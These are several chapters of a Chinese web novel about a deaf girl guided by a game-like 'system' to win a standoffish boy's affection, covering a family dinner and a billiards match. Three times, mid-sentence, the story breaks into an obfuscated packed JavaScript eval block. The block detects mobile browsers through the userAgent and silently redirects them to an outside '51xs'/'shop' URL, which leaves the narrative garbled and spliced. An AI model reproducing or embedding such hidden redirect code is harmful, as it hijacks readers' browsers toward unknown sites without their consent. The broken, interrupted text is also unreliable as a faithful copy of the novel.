上级:[你的反馈我们收到了,经过检查,好感度系统的数值加减没有任何问题。] 系统愁眉苦脸:[怎么可能呢?我家宿主和任务对象平时看起来好好的,但好感等级和男主的表现完全对不上呀!] [现在这样,已经严重影响宿主的工作心态了。] 上级推了推眼镜:[我还没说完呢。] [数值的加减是没错,但定义数值的标准和你之前拿到的不一样。] 系统:[?] [你们是不是按照友善20、认可40、好感60……那个等级划分去看的?一看你就没仔细阅读员工手册。]上级鄙夷道,[手册上说过,这种只是一般情况的好感划分,我们天道选中的男主怎么会是一般人?] 系统:[??] 那你给我这个手册的意义是? 上级:[你知道的,主角最火的人设就是美强惨,他们都有异于常人的经历,所以算法也会不太一样。寻常人20%是友善,我估摸着这个男主的友善指标是……2%左右。] [你们以为20%才是最初一级,实际上对男主来说,好感度排在你家宿主前面的人屈指可数。] 系统:[!!!] 2%?!! 它记得,宿主刚加上男主企鹅那会儿就超过了吧!? 上级:[这仅仅是我的猜测,这个男主具体的好感划分一时半会还拿不到,你先别告诉你的宿主,以后等上面通知,确定结果再说。] 系统:[……行吧。] 系统:[不对。] 系统:[这不公平啊?如果真照你所说,2%就友善了,那凭什么我这边还得等到20%好感才能给宿主这一阶段的听说能力?] 上级语气傲慢:[那没有办法。有就不错了,你那个小宿主本来也就是个对照组而已。] 系统突然有点开始讨厌自己的部门。 它气呼呼地回到池映雪身边,看着她恬静咀嚼的侧脸才慢慢冷静下来。 池家原本在每年的中秋节假期都会举办小家宴,地点设于主宅。今年因为老爷子突然身体不适,没能办成。 池映雪作为二房刚找回来的亲女儿,被池润带着去坐落于锺山的老宅探望,顺便吃一顿团圆饭。 池怀元和她同坐后排,在手机上时不时发来注意事项。 譬如池家的家庭结构,池老爷子、大伯池醒和堂兄池静俭;譬如老爷子对她这个流落多年的池家血脉保持着关注,她一会儿要表现好些。 再譬如……如果老爷子收养的那个少爷在,记得千万别招惹他。 池映雪腹诽,似乎已经招惹了。 看样子哥哥并不知道她和李闻蝉就在同一个班,池映雪垂下眼,默默回想起周四下午最后捕捉到的那句话。 他说,对不起,她听见了。 池映雪有点别扭,有点不知所措。 还以为需要自己调整好情绪,没想到先收到了他的道歉。 这也是她收到的第一次道歉,即使不是真正意义上的面对面,但她听见了。 就连被爸爸妈妈误会那次,也没有一句“对不起”。 所以他根本没必要道歉的……吧。 池映雪心里乱乱的,侧过脸看窗外的雨。 雨珠一颗一颗滴在车窗上流动,留下很可爱的水痕,令人窃窃的欢喜。 她摇摇头,问这几天莫名爱缩成一团的系统:“小说里有池家中秋家宴的剧情吗?” 池映雪没有参加过任何宴会,想提前得到些讯息。 系统抖擞精神,正经道:[没有呢,宿主,小说是以池鲤鲤为主视角叙述的,她在原世界线也没有来参加中秋的小家宴。] [……我倒是可以透露,小说里的宿主也是过来了的,不过这段剧情只是一笔带过。]系统绞尽脑汁地让宿主开心些,[宿主你看,就算是在以池鲤鲤为主角的原剧情里,池老爷子他们还是只认可你的。] 哼。 天道那个臭上级,敢那样说它的宿主! 它决定了,以后就这样偷偷为宿主谋福利、透剧情! 系统还调出了这个时间段的剧情节点证明自己—— [A.鲤鲤苦练钢琴曲,得到赞美。] [B.选修课,未婚夫给小笨蛋讲高数。] [C.纪委被追求者报复,鲤鲤仗义执言。] 池映雪已经逐渐能够接受这种“小XX”的叙述方式,反正说的不是她。 感觉池鲤鲤还降级了,上次小哭包,这次直接小笨蛋。 池映雪:“一班的纪委不就是穆雨阳吗?” 难道这个时间点还有穆雨阳被宁世延报复的剧情?这俩人怎么又结仇了? 系统:[没关系的吧?穆雨阳可是男主的小弟,他不会有事的。] 就算有事,它看出来了,以男主大人的性格也会罩着他。 池映雪尚有疑虑,转念一想,她现在只有100个字的解锁权,就算有心也无力。 系统见她陷入思考,眼珠子转了转,开始给看不惯的衍生文原男主上眼药:[宿主你看剧情B,里面那个“未婚夫”就是沈星桥。] 池映雪:“……哦。” 系统:[所以宿主不要喜欢他了,你看他,还给小笨,啊不池鲤鲤讲题呢!] 池映雪:“沈星桥也给我看笔记了呀。” 系统:啊这。 “系统,你以后不要说我喜欢他好吗?”池映雪认真道,“我没有喜欢谁,也不想完全相信小说。如果盲目依赖原文,那我就和认命没什么两样。” 就像这里说沈星桥在选修课给池鲤鲤讲题,可现实里他坐在她的身边,和池鲤鲤离得很远; 有关“未婚夫”一说,她在池家反正从未听说过,只知道两家是世交,很有可能是外人瞎捉摸的,就和论坛上那些捕风捉影一样。 池映雪不想用“剧情”去判断别人,比起那些,她相信自己的眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635243|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [你真不喜欢啊?]系统怀疑。 池映雪恨不得举手发誓:“真不喜欢。” 起码现在不喜欢。 “我现在忙着和李闻蝉交朋友,忙着准备第一次月考,哪里有心思去想那么多有的没的。” 池家主宅里,池映雪第一次见识到什么叫别有洞天,什么叫低调奢华有内涵。 她之前以为玫瑰园的别墅已经是天花板了,来到这里才发现,房子里是可以有园林的,从大门进去的走廊两边是可以悬挂美术课本上的名画真迹的。 他们还给她专门安排了一位手语翻译员,是个身穿旗袍的漂亮姐姐,一颦一笑皆是温柔,有她在身边,池映雪的脚步都没那么紧张。 然而走入会客厅,池映雪心里又开始打鼓。 她进门的时候,池老爷子正好在咳嗽,半白头发的老人看上去不太好,略有患了风寒感冒的样子,一双眼却依然锐利,朝她看过来时像是一只鹰。 他旁边的座位上是两个长相相似的男人,有池怀元刚刚的介绍,池映雪知道这是大伯和堂哥。 大伯身上有股上位者的气势,威严很盛,池映雪不敢多看。 堂哥池静俭较之平和内敛,但也是面色寡淡,几乎没有主动开口的时候。 冰冷又沉稳,看上去都不是好接近的人。 池映雪突然觉得,主宅的几个人里,反而是李闻蝉更好相处。 池润率先走上前,担忧地问老爷子好,池怀元紧随其后。 池老爷子淡淡瞧了一眼池映雪便收回视线:“人都齐了,就开饭吧。” “池润,今天你堂嫂不在,你怎么也没把小书带来?” 池润打着哈哈:“大爸,小书今日有急事,她托我给您带了礼物……” “我看有急事是假,陪你们那个‘爱女’才是真吧。” 池润一惊,还真是这样! 今早听说偏偏自己不能来后,池鲤鲤就在房间里哭,秦书没办法,最后留在家里陪她。 池老爷子:“我不管你们怎么宠爱她,那是你们的事。但你要记住,只要你还想在我的盛池辉煌一天,就不要不听我的话,鸠占鹊巢。” “你们要是连自己的亲女儿都不好好养,我很难放心……把盛池传承下去。毕竟,静俭是认定了要去追求他的艺术梦想。” 池怀元:“大爷爷您放心,我们会对小雪加倍的好。您之前提过说要办回归的欢迎宴会,我们也在准备了。” 池老爷子冷哼:“本来就不该我来提,要不是有人几次三番催问——” 算了,那个小兔崽子,喊吃饭都喊不动,他才懒得说他。 他们说话,不必给池映雪翻译。她一无所知,安静地跟在后面入座,很敏锐地察觉到在此处的爸爸和哥哥跟平时有微妙的不同。 不知道其余几人是各怀心思还是老爷子这边有“食不言”的传统,池映雪甚至觉得不如平时和池鲤鲤面对面吃饭舒坦。 更不要说和瑶瑶她们一起吃饭,尽管她听不见,也有热闹亲昵的感觉。 菜肴很精美,中西融合,池映雪没什么胃口,但想起来时哥哥的话,还是把做得很漂亮的小排骨往嘴里塞。 哎。 能不能来个人拯救她、拯救一下这凝固的空气? “哟。” 餐厅的冷调灯光辉煌而略显沉肃,雕花大门蓦地大敞,从外面透进来丁达尔效应一般有形的白金色光束,空气中漂浮的细小的光尘。 李闻蝉的黑色运动套装敞开,里面是白色的休闲衫。 线条好看的脖下挂着一个金属耳机,他漫不经心地走进来,随口点评。 “好安静啊。” 24. 第 24 章 池老爷子瞪着吊儿郎当的李闻蝉:“你不是不来么?” 李闻蝉悠悠闲闲的步伐慢了半拍,眼神从一直埋着头、不熟练使用刀叉的池映雪身上滑过,重新昂首阔步。 “我有说过吗?” 池老爷子:“嘿,合着我让小俭叫不成,亲自喊了好几次也不来的人不是你?” 池静俭默默举手:“我作证,爷爷说得对。” 就昨晚他还打过最后一通电话,李闻蝉不知道抽哪门子疯,通话里那语气臭的要死。 和池静俭养的狗绝育后没差多少。 李闻蝉刚巧走到池静俭身后,抬脚踢了踢他凳子脚,轻声道,“就你话多。” 他兜了一个大圈,最后在池静俭身边坐下,率先看了眼斜对面的方向,尤其仔细地望向某一双眼睛。 池映雪安安静静地低头戳着盘子里的菜,除了紧张,没有什么负面的情绪。 眼皮是薄纸般的雪白,没有让人害怕见到的红色。 很奇怪,分明应该放下心,却依旧揪紧,不是很好受。 宁愿她找他吵一架,但那是不可能的。 李闻蝉呼出一口气,摸了摸鼻子,眼睛从她身上移开后飘忽,状若扫视全局。 很快,他和池静俭有一搭没一搭的聊起来,其他人偶尔插两句,气氛逐渐活跃。 池映雪这才发现原来池静俭并没有想象中那么寡言冷淡,这位堂哥也会笑,笑起来和池怀元眉眼有几分相似的温和,让人有种春风拂面的亲近感,很是沉稳可靠。 池映雪紧紧并拢的膝盖放松下来,接着吃东西,食欲比之前好不少。直到已有饱腹感,盘子里还剩两个小排,用梅干菜烧成甜口。 以前没得选,饱腹就万幸。她今天才发现自己不大喜欢很甜的口味,也不大喜欢小排。 池怀元让翻译和她交流:“怎么不吃?” 挑食不是好习惯。池映雪略有犹豫,最终还是不想在哥哥脸上看到失望的神情。 她摇了摇头,重新拿起叉子,李闻蝉忽然往椅背一靠:“老头,这里好无聊啊。” 池静俭其实有同感,老爷子年纪大了,又被旧友背叛气病,很喜静,一顿饭吃得全无兴致。 池老爷子吹胡子瞪眼:“我看你就是嫌弃我们年纪大,不乐意待在一块。” 池醒擦了擦嘴:“爸,小辈们确实爱热闹,不如让他们几个年纪小的一起出去玩,我和阿润留下来陪您。” 池怀元的目光被他们吸引,池映雪松了口气。 她悄悄放下叉子,双手捧着梨汤细啄。也甜甜的,却有中草药的苦香,她喜欢。 池老爷子摆了摆手:“走走走,对了,你们照顾好映雪。” 李闻蝉懒洋洋地应了一声,池静俭无奈地叹气。 指望李闻蝉照顾别人,爷爷真是年纪大了。 池静俭走到池映雪身边,和翻译交流,询问池映雪的意思。 池映雪当然想走。 她看了一眼李闻蝉,对方已经戴上耳机走出了餐厅。 从进来到现在,他还没有主动向她打过招呼,好像连眼神也没投来,池映雪更拿捏不准他的态度。 她再回头去看池怀元,却发现他并没有站起来。 翻译姐姐用手语告诉她:“你哥哥说留在这里有重要的事,不能和你们一起出去了。” 池映雪有点失落,她还没有和哥哥出去玩过。 正为难着,系统提醒道:[宿主,你和男主一起出去玩就能完成那个“约会”任务啦!] 这也算? 二十分钟后。 池映雪站在和学校操场差不多大的停车场,再次感慨你们有钱人的世界真夸张。 池静俭的车算是里面看上去最低调的那一挂——银白色的轿车,池映雪不认得车标,粗略地扫过一眼,似乎是个“B”。 李闻蝉本就走在他们前面,此刻也没停下,径直往前。 池静俭:“走过了。” “没走过。”池映雪听见李闻蝉说,“我骑摩托来的。” 池静俭:“上车,你今天敢骑摩托,我就报警抓你。” 李闻蝉奇怪地回头看了他一眼:“你拿什么报,我生日一过就拿驾照了好吗?” 池静俭:……还真是。 这家伙小学家里出事那阵留过级,比同年级的大一岁多,他怎么给忘了? 于是,池映雪坐进副驾驶位的时候,远远看见李闻蝉长腿跨上一辆很炫酷、很拉风的黑色摩托,娴熟地戴上头盔。 别墅在山庄中,从主宅到城区里池静俭描述的那家俱乐部要走一段很宽阔的山道。 白天还在下雨,这会子刚停。暮色四合,落日熔金,漂亮又恍惚。 池映雪呆呆地望着窗外,池静俭侧头看见这一幕,将她那侧的窗户调下去,敞开的车窗里恰好闯入一道疾驰的黑影。 ——戴着头盔的李闻蝉原本跟在轿车后面,此时加速驶近,黑色运动外套被风吹起,飘在身后。 袖子被挽上去,袖口和黑色皮质手套中间露出一小截冷白色的皮肤。 李闻蝉似乎存了些和池静俭竞速的意味,控着速一直行驶在轿车前面一点,又能映进池映雪这边的窗框里。 嗡—— 池映雪双手贴在车窗内侧下面的黑壁,偷听摩托车轰鸣的响声,有种自己也在飞驰的实感。 如果她也可以坐上去…… 黑色的头盔忽然朝她偏来,镜面反光,池映雪赶紧收回眼,举起手给微热的脸扇扇风。 池静俭默默调低了些空调温度。 红灯当前,轿车和机车都停下。池静俭隔着池映雪,对掀起护镜的李闻蝉喊话:“所以你今天怎么又想着过来了?不是说韩潇快回HK了,要陪他去滑雪?” “南城哪来的好雪场,让他回HK滑去。” 李闻蝉挑眉,“今天可是中秋,就不许我来团圆?” 他忽然想到老爷子说过的话,戏谑地斜勾着唇,“来,小俭,叫声小叔听听?” 池静俭:“…………” 池映雪大概听懂了,低下脸抿嘴偷偷笑起来。 李闻蝉不明所以,轻咳几声,把黑色的护镜重新降下去,这才正眼看她。 乳白色的娃娃领连衣裙,套着一件浅蓝的针织开衫。今天应该是专门做了头发来的,乌黑的刘海比平时更蓬松。 李闻蝉说不上那是什么发型,看起来像只垂耳兔,两边还有小小的白蝴蝶结。 李闻蝉再次移开视线。 大概四十分钟后,池映雪跟在二人身后来到一家装潢高级的俱乐部。光她认识的娱乐项目就有台球、投篮机、游戏机、保龄球好几种。 李闻蝉和池静俭看起来经常来这里,一进门就有戴着白手套的侍者送来球杆和小方块。池映雪也接过一根,系统撒着花闪出一行字。 [叮!攻略任务“和男主约会”已完成,新任务开启:“让男主对你竖起大拇指~”。] 池映雪眼前一亮,果然,下一行字又弹出来。 [叮!攻略任务“让男主对你竖起大拇指~”已完成,新任务开启:“在社交平台发布有关男主的动态(全部人可见)”。] 池映雪:“好幸运,居然一下有两个。” 系统猛点头,宿主就是棒棒! 李闻蝉停下脚步,看了一眼池静俭,又看了眼玻璃倒映的自己。 池静俭:“怎么了?” 李闻蝉摇头:“没事,怎么打?” “什么怎么打?”池静俭奇怪道,顺着他的视线看见后面两只手握住杆的池映雪,恍然大悟,“她会打吗?要不你俩玩,我看着?” “不知道。”李闻蝉推了他一把,“你去问问。” 池静俭:“你怎么不去?” 但池静俭是知道李闻蝉平时对陌生人那副德行的,虽然疑惑他今天态度有些别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635244|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭,还是走到池映雪面前用手机打字问:「妹妹,你会打台球吗?」 池映雪摇头,见他要收回手机,连忙踮起脚伸手。 池静俭的面瘫脸柔和了不少,把手机递给她。 池映雪:「我想学,可以吗?」 池静俭:「我教你。」 池静俭直起腰,回头问李闻蝉:“我教她,我俩和你打?” “无所谓。” 李闻蝉若有似无地深深看了池映雪一眼,放下手里的橘汁,“我可是不会放水的。” 池静俭冷哼,带着池映雪在一面台球桌前站定,亲自示范。 李闻蝉走到二人对面,靠在桌边,低眸不知在想什么。 池静俭的动作很优雅,池映雪照猫画虎,有学有样,一只手按在桌上翘起来,另一只比对着池静俭出杆的动作,利落一击。 池静俭忍不住说:“漂亮的动作。” 白球被击中。 白球迅速打着旋移动! 白球从桌上跳着飞了出去,一杆进洞。 池静俭:? 偏偏池映雪快速起身,捏着球杆正对他,眼神亮晶晶地仰望。 她打的对吗? 池静俭:“。” 李闻蝉在对面爆发一阵开怀的笑。 池映雪不解地看过去,李闻蝉眉眼的笑意来不及收敛,猛然刹车后转为剧烈的咳嗽,转过身捂着嘴,宽阔的背一抖一抖。 池映雪鼓起腮帮。 然而,等到池静俭想起来给她在备忘录里详细描述了一遍台球的规则,并找出几个教学小视频后,她如遭雷击,满脸通红。 李闻蝉将她的表情尽收眼底,举起杯子喝橘汁,不知不觉见底。 看完视频,池映雪自觉学得差不多,望向对面手撑桌面等待的李闻蝉。 一副懒洋洋的散漫态,轻挑眉梢,目光流转,又很快别扭地低下头用巧克粉擦拭球杆。 “我现在可以打了?” 池静俭:“嗯。” 刚才池映雪白球进洞,他们这桌甚至没开球。 李闻蝉俯身,浓黑的碎发垂落下来,被暖白色灯光照着,落下一层阴影在眼部,下颌线精致有锐气。 同样利落地一杆,白球飞速朝前,三角形的彩球四散,有两个都落入洞里。 池映雪记得刚看过的规则,只要进球,下一杆还是他发。结果李闻蝉一杆又中,再一杆,还中…… 最后桌上就剩下属于他的球,还有一枚孤零零的白色小球。 池映雪:??? 还可以这样?! 她嘴巴张成“o”形,李闻蝉借放杆的动作背对她,得意地勾了勾唇。 池静俭一脸黑线:“你开什么屏呢?” 李闻蝉云淡风轻,表情无辜:“没有啊,我正常打的。” “再来,这次还是你们先。” 侍者前来添水和整理桌面,李闻蝉退后两步,忽然眯起眼,转身望向不远处刚开的一台桌。 “蒋少,最近怎么样?” “老样子,我爸已经让我开始接触公司的事了。” 被称作“蒋少”的少年笑得得意,很快便听身边的人恭维道:“还是蒋叔有能力,但凡换其他人当年被盛池打击报复,早一蹶不振了,蒋哥家里气运不绝!” “嗨,那种老牌子怎么能和蒋家比?蒋哥人家现在的妈妈,那可是副市长千金!” 蒋傅用台球杆打了打桌子:“低调,低调。” 周围人起哄吹口哨,有一人刚拱起嘴就收音,其余人不解地随着他眼神回眸。 鸦雀无声。 李闻蝉淡然地擦球杆,蓝色小方块在冷白色的细长手指里显得袖珍。 “蒋傅。” 池映雪站在身后,看不清他的神色,只觉得那个挺阔的背影有些寂寥。 李闻蝉的声音比之前任何一次都冷漠。 “滚出去。” 25. 第 25 章 系统突然弹出来:[宿主,宿主!那边最中间的男生叫蒋傅,是男主大人成长前期一个很重要的反派!] [宿主要不要解锁相关的人物小传,了解一下具体的情况?] 池映雪看了一眼三百字的余额,只纠结了几秒钟,轻轻点头。 [人物小传-幼年-友谊篇【蒋傅】(解锁进度300/405)] [李闻蝉遭遇家庭变故,从京城转来南市,留级一年。 因为是外地转学,又大一岁,被同学排挤,只有同班的蒋傅最先对他释放善意,二人成为了好朋友。 蒋父偏宠私生子,对方经常带人欺负蒋傅。李闻蝉在帮好友抵抗时人生第一次打架挂彩,被罚在办公室打家长电话。他不打,最后被同校六年级的池静俭找到,回家挨了池老爷子一顿打。] 池映雪:……看着的确很像他会做的事。 [李闻蝉从小聪慧敏锐,随着二人关系渐近,能感受到蒋傅对他偶尔流露出的嫉妒。 明知心怀不轨,但作为第一个好友,他没有选择远离,而是信任。 10岁那年,老爷子为了借李家早年人脉带李闻蝉这个遗孤去公司频频刷脸。彼时蒋傅被父亲利诱,借着李闻蝉的信任偷听盛池的机密,最好能拍到文件合同。蒋父承诺事成就将私生子赶走,蒋傅] 三百字到这里戛然而止。 池映雪知道蒋傅是“反派”,不用看也猜得到后面的大概内容。 知道结果再看这些话,尤其是那句“他没有选择远离,而是信任”,池映雪心里很难过。 她忽然觉得,迟迟成为不了李闻蝉的朋友不是什么丢人的事了。他的身边,到现在也只有那么寥寥几个关系稍近的人而已。 不该是这样的。 池映雪重新抬眼看向李闻蝉的背影,这次除了寂寥,还看出些许肃杀的冷,她却一反常态的没有害怕。 再看那个蒋傅,长得倒是人模狗样,一派儒雅,戴着眼镜斯斯文文。 谁知道是个小人。 蒋傅听见李闻蝉的声音,内心涌上恐慌,骨头都颤栗。 然而,想到自己家里已经攀上高枝,不再是从前那个任人鱼肉的蒋家,身边还有一群追随者。 蒋傅壮着胆,再次趾高气昂:“你凭什么命令我,还当我是以前那个跟在你后面的狗吗?” 李闻蝉揉着耳朵嗤道:“难怪你后来反咬一口,原来是一开始就没把自己当人。” 池映雪偷偷点头。 说他是狗都侮辱了狗,狗狗多可爱呀。 系统忽然皱起小脸,哼哼唧唧地消失在她视野。 “你!” “你什么你。”李闻蝉支着长杆,闲倚球桌,“你是不是忘了我说过的话?” 蒋傅强装出的自信猛然崩裂。 池映雪有些好奇,只不过李闻蝉没有接着说下去。 池静俭这时走上来,轻声耳语:“老爷子说了,就算你要做什么,一不要留把柄,二不要赶尽杀绝,免得对方鱼死网破。”就和当年他们对蒋氏一样。 他轻咳一声,“我的意思是,要揍人的话,一会儿出门后找机会套个麻袋,拖进巷子里……” 李闻蝉:……这家伙到底比我可靠在哪里? “放心,我有分寸。” 李闻蝉无所谓地耸肩,倒是没有池静俭想象中的勃然怒火。 池映雪见他转过身来,也很吃惊。她还以为按照李闻蝉的性格,一定会血溅当场呢,就像上次对宁世延那样。 紧接着,她就听见李闻蝉对池静俭轻声说:“蒋傅他爸做乘龙快婿的美梦,没那么容易,很快就会被拉下水,到时候我再让老爷子添一把火。” “今天么。” 李闻蝉噙着笑,“有个胆小的家伙在,接着打球吧。” 池映雪心里稍微好过些,又有些闷闷的。 另一台众人见李闻蝉转身,纷纷泛起恭维的笑。 蒋傅一时忘乎所以,有种翻身农奴把歌唱的感觉:“几年不见,蝉少胆子缩水了啊!” 他来的时候李闻蝉已经清台,蒋傅自认台球水平超群,忍不住挑衅,“要不然这样,我们来一把?输了,我今天就听你的,立马从这里滚出去!” 今天某人第一次来玩,到现在浪费这么多时间,只进了一杆。 还进的是白球。 李闻蝉挑起眉梢:“和我玩?” “你也配?” 蒋傅眼看着李闻蝉一副无所谓转身、压根不想在他身上浪费时间的模样,咬牙切齿。 李闻蝉刚敲下桌面,示意池映雪开球,却只见她摇了摇头。 池映雪和他对视了一秒,低下头打字,递到他面前。 「他欺负过你,对吗?」 李闻蝉轻佻无谓的笑意僵硬地定格。 池静俭凑过来,忍不住碰碰怔神的李闻蝉,拿过手机:「对,那人很过分。」 「但你别担心,我们会处理好,现在接着打球吧。」 池映雪其实早就知道答案,只是来要一个理由。 她对眼前的两个人点点头,又摇摇头。 在池静俭错愕的眼神中,从他和李闻蝉身后走出,拿着球杆和手机向蒋傅那桌踱步。 今夜第二次,鸦雀无声。 一行个子高挑、打扮新潮的男生前,池映雪一个人亭亭而立,显得很瘦小。 她举起纤细的手腕,亮出屏幕上的字。 「你不配和他玩。」 「蒋傅,我是池映雪,我们来一场,赌约不变。」 池映雪? ——池映雪是谁? 蒋傅不屑地轻哼一声,这时身边人对他耳语几句,他顿时恍悟:“原来是池家那个刚被找回来的哑巴!” 他就说李闻蝉身边怎么会突然出现一个女生…… 咚! 台球杆重重砸过来,蒋傅赶忙躲开,一回眸就看见李闻蝉冰冷的神情。 刚才他对他出言不逊时,他都不曾真的动怒。 李闻蝉:“放尊重点,蒋傅。” 池映雪悄悄揉了揉耳朵,李闻蝉又说,“她让你和她打,你就打。” 池静俭:“喂,映雪今天第一次……” 李闻蝉径直走到池映雪身后,更高大的影落下,蒋傅等人的气势瞬间被压制。 他打断池静俭的话,双手抱在胸前:“你输了,就自己滚出去,别让我动手。” 蒋傅听见了池静俭的话,不由自信咧嘴:“要是我赢了呢?” 李闻蝉低头,侧眸看向眸光坚定的池映雪。 “你不会赢。” 李闻蝉毫不犹疑:“要是你真的赢了,那我走,如何?” 蒋傅哈哈大笑:“一言为定!来,小妹妹,哥哥让你一波,你先来。” 说完想起池映雪听不见,做了一个“请”的手势。 池映雪没想到李闻蝉会把自己架在火上烤,要是她输了,丢人的可是他呀。 刚才的自信瞬间有些底气不足,她暗暗给自己打气。李闻蝉退后一步,靠在后面的台子上注视女孩的小动作,神色难辨。 池静俭凑过来,目露担忧:“你一会儿怎么走?” 李闻蝉:“……她还没开打呢。” 李闻蝉:“那是你亲堂妹,就不能有点信心?” 池静俭:“你倒是很有信心。” 李闻蝉:“也不算吧。” 李闻蝉:“要是某人打的不尽人意,我就只能采取一点别的手段了。” “总之,我们不会输。” 池静俭:? 李闻蝉活动了一下手腕,动骨头的清脆声轻轻响起。 正在准备开球的池映雪忽然表情舒展,眉眼弯弯。 蒋傅和身边人嘲讽:“快看,这小孩儿吓傻了。” 砰! 带着讽笑的话音甚至没落地,干脆利落的球杆撞击白球,发出清响。 被撞到的其余小球就像提前算好角度那样,各自整齐有序地奔向该去的位置。 一球入洞,其余的零零散散正好停在洞的附近,只有少数两颗因为力度不够,落在比较刁钻的地方。 刚好都是全色球。 池映雪接着挥杆,又一球滚入袋中。 分球成功,她要打全色。 蒋傅勾起唇,看来老天都要让李闻蝉今天在他面前出糗! 进洞那颗,也肯定是运气。 李闻蝉也真是,居然把自己的脸挂在一个初出茅庐、名不见经传还盲目自信的小哑巴身上—— 砰! 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635245|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一球进。 蒋傅的笑声骤停。 池映雪甚至没有抬头,动作并不很标准,回忆着刚才李闻蝉清台时的模样,在颅内演练复刻,快速估算着每个球打出后的角度和路径,不断走位。 一杆一杆接着打,先把那些好打的球用白球打进洞,弹无虚发。 蒋傅等人:!!! 池静俭:!!! 李闻蝉将各人的表现尽收眼底,看上去没有什么特别大的反应,手里的巧克粉却都快擦烂了。 打到最后只剩那两个球,一桌旁的众人已然陷入深深的沉默。 蒋傅身边最近的人不可置信地摸了摸鼻子:“蒋哥放心,还剩俩,那角度她肯定不行……” 他球龄十年了,他都觉得自己没办法! 池映雪听不见这些人的窃窃私语,专注地思考着,换了好几个位置,终于在一个地方停下。 她上身下弯,轻握着球杆回拉,又起身皱起眉。 不行…… 身后忽然多出一道阴影。 池映雪侧目,原来是她不知不觉中走到了李闻蝉身边。 李闻蝉已经从双手抱胸变成手撑桌子,球杆和被蹂躏得很惨的巧粉放在一边,冲她很平静地抬了一下眉骨。 刚才说话的时候还挺……帅,现在看上去,又成了那副不闻不问、拒人千里之外的鬼样子。 池映雪哼了哼气。 他老这样,她干脆胡打一通算了。 李闻蝉手指动了动,远远看见蒋傅的脸,嘴角还未泛起的笑和手指一起压抑下去。 再看池映雪即将回头,终究还是忍不住轻声咳嗽。 他伸出食指,在她眼前晃了晃,手指弯曲向前做出一个“跳跃”的暗示。 这一刻,池映雪的脑回路好像和他莫名其妙接上轨。 跳球? 池映雪伸出手,努力回忆着摆出在视频里见过的那个跳球的手势,眉头轻皱起。李闻蝉左手按住她的大拇指,朝食指靠拢紧贴。 手指挨着手指,肌肤相贴的地方有些烫。 可惜只碰到2.5秒。 池映雪换了根跳球杆,再次俯身。 池静俭:“你们刚在干嘛?电波交流?” 李闻蝉没答话,反而在小声嘟囔什么“到底为什么在乎什么秒不秒的”。池静俭看向他,奇怪地眨了眨眼:“你在脸红什么?” 李闻蝉斩钉截铁:“不可能。” 他左手的大拇指和食指相互揉搓一下,飞速摸向一旁冰凉的的玻璃杯,成功给指尖降温,再拿起来仰头而饮。 池静俭:“你杯子早空了。” 李闻蝉:“………” 李闻蝉:“不许说话,专心看球。” 池静俭:“你很渴么?要不我帮你叫人加满?” 李闻蝉的余光瞥向跳球成功进洞的池映雪。 “…………行。” [叮!攻略对象好感+1。] 弹框亮起,黑8球缓缓入洞。 毫无悬念,她赢了! 池静俭:“妹妹是个天才啊。” 池映雪松了口气,抬起薄薄的眼皮,看向脸色及其难看的蒋傅等人。 她在心里得意洋洋地默念:愿赌服输! 虽说她一开始接近李闻蝉吧,动机也不是那么单纯……可是,他真的很好。 池映雪最看重的东西之一就是友情。蒋傅这种背叛朋友人,滚出去都算轻的了! 李闻蝉注视着身前瘦小的背影,眸光复杂变换,难以移开视线。 披散的头发在灯光下很有光泽,两边编着兔子垂耳般的小辫,白色蝴蝶结的丝带和几缕青丝被室内空调的温风吹起,配合手握球杆的得意站姿,很酷。 还有那因为身高差,被他尽收眼底的发旋。 看见蒋傅等人灰头土脸又要强装“不和你们见识”而离开,池映雪的腰背挺了挺。 “…………” 李闻蝉忍不住低声浅笑,呢喃道,“…笨、蛋。” 池映雪忽然回头瞪他。 李闻蝉迅速压下嘴角,恢复淡淡的模样,又抬手摸向后颈。 搞得好像她听见了一样。 [叮!攻略对象好感+3。] [当前男主好感:18.9%。] 26. 第 26 章 临散场,池静俭去接电话,李闻蝉和池映雪面对面站在一条走廊的两边,谁也没上前。 李闻蝉的低音飘在夜色里,很苦恼,很不分明:“你就不……” 但他没说下去。 他只是皱着眉自言自语:“算了。” 池静俭正好挂电话走过来,告诉他们差不多该回家。 池映雪心里记挂着任务,想着今天和他们相处的应该算不错,连忙打字:「那个。」 「我们,可以拍张合照吗?」 池静俭看着新堂妹小小的脸,那上面充满了希冀与忐忑,没来由心里一软,弯腰在后面打字:「没问题,我去找人帮我们拍。」 李闻蝉突然发话:“要不,我帮你们两兄妹拍?” 池静俭想起他的确不爱拍照:“那也行……” 二人突然同时低眸。 